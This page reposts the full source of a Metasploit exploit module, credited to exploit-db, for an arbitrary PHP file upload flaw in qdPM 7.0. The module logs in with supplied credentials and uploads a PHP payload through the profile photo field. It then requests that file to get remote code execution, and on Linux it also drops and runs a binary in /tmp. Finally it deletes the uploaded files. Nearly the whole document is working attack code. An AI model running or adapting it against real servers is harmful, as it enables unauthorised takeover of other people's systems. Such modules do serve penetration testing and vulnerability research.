qdPM 7.0 – Arbitrary ‘.PHP’ File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2012-10-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/21835/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::EXE
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "qdPM v7 Arbitrary PHP File Upload Vulnerability",
    			'Description'=> %q{
    				This module exploits a vulnerability found in qdPM - a web-based project management
    				software. The user profile's photo upload feature can be abused to upload any
    				arbitrary file onto the victim server machine, which allows remote code execution.
    				Please note in order to use this module, you must have a valid credential to sign
    				in.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'loneferret', #Discovery, PoC
    					'sinn3r'#Metasploit
    				],
    			'References' =>
    				[
    					['OSVDB', '82978'],
    					['EDB', '19154']
    				],
    			'Payload'=>
    				{
    					'BadChars' => "\x00"
    				},
    			'DefaultOptions'=>
    				{
    					'ExitFunction' => "none"
    				},
    			'Platform' => ['linux', 'php'],
    			'Targets'=>
    				[
    					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }],
    					[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Jun 14 2012",
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/qdPM/']),
    				OptString.new('USERNAME',[true, 'The username to login with']),
    				OptString.new('PASSWORD',[true, 'The password to login with'])
    			], self.class)
    	end
    
    	def check
    		target_uri.path << '/' if target_uri.path[-1,1] != '/'
    		base = File.dirname("#{target_uri.path}.")
    
    		res = send_request_raw({'uri'=>"#{base}/index.php"})
    		if res and res.body =~ /<div id\=\"footer\"\>.+qdPM ([\d])\.([\d]).+\<\/div\>/m
    			major, minor = $1, $2
    			return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70
    		end
    
    		return Exploit::CheckCode::Safe
    	end
    
    	def get_write_exec_payload(fname, data)
    		p = Rex::Text.encode_base64(generate_payload_exe)
    		php = %Q|
    		<?php
    		$f = fopen("#{fname}", "wb");
    		fwrite($f, base64_decode("#{p}"));
    		fclose($f);
    		exec("chmod 777 #{fname}");
    		exec("#{fname}");
    		?>
    		|
    		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
    		return php
    	end
    
    	def on_new_session(cli)
    		if cli.type == "meterpreter"
    			cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
    		end
    
    		@clean_files.each do |f|
    			print_status("#{@peer} - Removing: #{f}")
    			begin
    				if cli.type == 'meterpreter'
    					cli.fs.file.rm(f)
    				else
    					cli.shell_command_token("rm #{f}")
    				end
    			rescue ::Exception => e
    				print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
    			end
    		end
    	end
    
    	def login(base, username, password)
    		# Login
    		res = send_request_cgi({
    			'method'=> 'POST',
    			'uri' => "#{base}/index.php/home/login",
    			'vars_post' => {
    				'login[email]'=> username,
    				'login[password]' => password,
    				'http_referer'=> ''
    			},
    			# This needs to be set, otherwise we get two cookies... I don't need two cookies.
    			'cookie' => "qdpm=#{Rex::Text.rand_text_alpha(27)}",
    			'headers' => {
    				'Origin' => "http://#{rhost}",
    				'Referer' => "http://#{rhost}/#{base}/index.php/home/login"
    			}
    		})
    
    		cookie = (res and res.headers['Set-Cookie'] =~ /qdpm\=.+\;/) ? res.headers['Set-Cookie'] : ''
    		return {} if cookie.empty?
    		cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0]
    
    		# Get user data
    		vprint_status("#{@peer} - Enumerating user data")
    		res = send_request_raw({
    			'uri' => "#{base}/index.php/home/myAccount",
    			'cookie' => cookie
    		})
    
    		return {} if not res
    		if res.code == 404
    			print_error("#{@peer} - #{username} does not actually have a 'myAccount' page")
    			return {}
    		end
    
    		b = res.body
    
    		user_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[id\]\" value\=\"(.+)\" id\=\"users\_id\" \/\>/).flatten[0] || ''
    		group_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[users\_group\_id\]\" value\=\"(.+)\" id\=\"users\_users\_group\_id\" \/>/).flatten[0] || ''
    		user_active = b.scan(/\<input type\=\"hidden\" name\=\"users\[active\]\" value\=\"(.+)\" id\=\"users\_active\" \/\>/).flatten[0] || ''
    
    		opts = {
    			'cookie' => cookie,
    			'user_id' => user_id,
    			'group_id'=> group_id,
    			'user_active' => user_active
    		}
    
    		return opts
    	end
    
    	def upload_php(base, opts)
    		fname = opts['filename']
    		php_payload = opts['data']
    		user_id = opts['user_id']
    		group_id= opts['group_id']
    		user_active = opts['user_active']
    		username= opts['username']
    		email = opts['email']
    		cookie= opts['cookie']
    
    		data = Rex::MIME::Message.new
    		data.add_part('UsersAccountForm', nil, nil, 'form-data; name="formName"')
    		data.add_part('put', nil, nil, 'form-data; name="sf_method"')
    		data.add_part(user_id, nil, nil, 'form-data; name="users[id]"')
    		data.add_part(group_id, nil, nil, 'form-data; name="users[users_group_id]"')
    		data.add_part(user_active, nil, nil, 'form-data; name="users[active]"')
    		data.add_part('', nil, nil, 'form-data; name="users[skin]"')
    		data.add_part(username, nil, nil, 'form-data; name="users[name]"')
    		data.add_part(php_payload, nil, nil, "form-data; name=\"users[photo]\"; filename=\"#{fname}\"")
    		data.add_part('', nil, nil, 'form-data; name="preview_photo"')
    		data.add_part(email, nil, nil, 'form-data; name="users[email]"')
    		data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"')
    		data.add_part('', nil, nil, 'form-data; name="new_password"')
    
    		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
    
    		res = send_request_cgi({
    			'method'=> 'POST',
    			'uri' => "#{base}/index.php/home/myAccount",
    			'ctype' => "multipart/form-data; boundary=#{data.bound}",
    			'data'=> post_data,
    			'cookie'=> cookie,
    			'headers' => {
    				'Origin' => "http://#{rhost}",
    				'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
    			}
    		})
    
    		return (res and res.headers['Location'] =~ /home\/myAccount$/) ? true : false
    	end
    
    	def exec_php(base, opts)
    		cookie = opts['cookie']
    
    		# When we upload a file, it will be renamed. The 'myAccount' page has that info.
    		res = send_request_cgi({
    			'uri'=> "#{base}/index.php/home/myAccount",
    			'cookie' => cookie
    		})
    
    		if not res
    			print_error("#{@peer} - Unable to request the file")
    			return
    		end
    
    		fname = res.body.scan(/\<input type\=\"hidden\" name\=\"preview\_photo\" id\=\"preview\_photo\" value\=\"(\d+\-\w+\.php)\" \/\>/).flatten[0] || ''
    		if fname.empty?
    			print_error("#{@peer} - Unable to extract the real filename")
    			return
    		end
    
    		# Now that we have the filename, request it
    		print_status("#{@peer} - Uploaded file was renmaed as '#{fname}'")
    		send_request_raw({'uri'=>"#{base}/uploads/users/#{fname}"})
    		handler
    	end
    
    	def exploit
    		@peer = "#{rhost}:#{rport}"
    
    		target_uri.path << '/' if target_uri.path[-1,1] != '/'
    		base = File.dirname("#{target_uri.path}.")
    
    		user = datastore['USERNAME']
    		pass = datastore['PASSWORD']
    		print_status("#{@peer} - Attempt to login with '#{user}:#{pass}'")
    		opts = login(base, user, pass)
    		if opts.empty?
    			print_error("#{@peer} - Login unsuccessful")
    			return
    		end
    
    		php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
    		@clean_files = [php_fname]
    
    		case target['Platform']
    		when 'php'
    			p = "<?php #{payload.encoded} ?>"
    		when 'linux'
    			bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
    			@clean_files << bin_name
    			bin = generate_payload_exe
    			p = get_write_exec_payload("/tmp/#{bin_name}", bin)
    		end
    
    		print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
    		opts = opts.merge({
    			'username' => user.scan(/^(.+)\@.+/).flatten[0] || '',
    			'email'=> user,
    			'filename' => php_fname,
    			'data' => p
    		})
    		uploader = upload_php(base, opts)
    		if not uploader
    			print_error("#{@peer} - Unable to upload")
    			return
    		end
    
    		print_status("#{@peer} - Executing '#{php_fname}'")
    		exec_php(base, opts)
    	end
    end